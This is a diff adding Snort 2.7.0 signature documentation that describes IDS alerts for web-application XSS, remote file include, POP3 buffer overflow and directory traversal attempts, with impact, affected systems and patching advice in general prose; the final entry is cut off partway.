@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000528
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "PHPMyForum" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "highlight" parameter in the "topic.php" script 
+used by the "PHPMyForum" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPMyForum
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1758.txt
+++ snort-2.7.0/doc/signatures/1758.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1758
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000756.txt
+++ snort-2.7.0/doc/signatures/100000756.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000756
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Free QBoard" application running on a webserver. Access to the file "history.php" using a remote file being passed as the "qb_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "qb_path" parameter in the "history.php" script used by the "Free QBoard" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Free QBoard
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1866.txt
+++ snort-2.7.0/doc/signatures/1866.txt
@@ -0,0 +1,65 @@
+Rule:  
+
+--
+Sid:
+1866
+
+--
+Summary:
+This event is generated when an attempt is made to overflow a buffer by supplying a very long username to a POP3 service.
+
+--
+Impact:
+Serious. Several POP3 servers are vulnerable to USER buffer overflows.
+
+--
+Detailed Information:
+A very long string data in place of the username can lead to a buffer overflow situation.
+
+A buffer overflow attack can be used to execute arbitrary code (remote shell). A Denial of Service (DoS) is also possible.
+ 
+Check your POP3 service for this vulnerability with common vulnerability scanners.
+
+--
+Affected Systems:
+Ipswich IMail 5.0.5, 5.0.6 and 5.0.7 for Windows NT.
+Other POP3 mail systems may be affected.
+
+--
+Attack Scenarios:
+A attacker may first check the POP3 daemon version and try a buffer overflow attack using a long username string supplied with the USER command.
+
+This may result in full compromise of the host. A Remote shell can be bound to a port after the attack. 
+
+--
+Ease of Attack:
+Simple. Exploit scripts are available.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Upgrade to the latest non-affected version of the software.
+
+Check for other events generated by the source IP address.
+
+--
+Contributors:
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1607.txt
+++ snort-2.7.0/doc/signatures/1607.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+1607
+
+--
+Summary:
+This event is generated when an attempt is made to access hsx.cgi on a 
+web server. This may indicate an attempt to exploit a vulnerability in 
+the Hyperseek 2000 search engine that allows read-access to directory 
+listings and files.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event may indicate that an attempt has been made to exploit a 
+directory traversal vulnerability in HyperSeek 2000. An attacker can use
+directory traversal techniques to view hidden files and directories on 
+the web server.
+
+--
+Affected Systems:
+Web servers running iWeb Systems HyperSeek 2000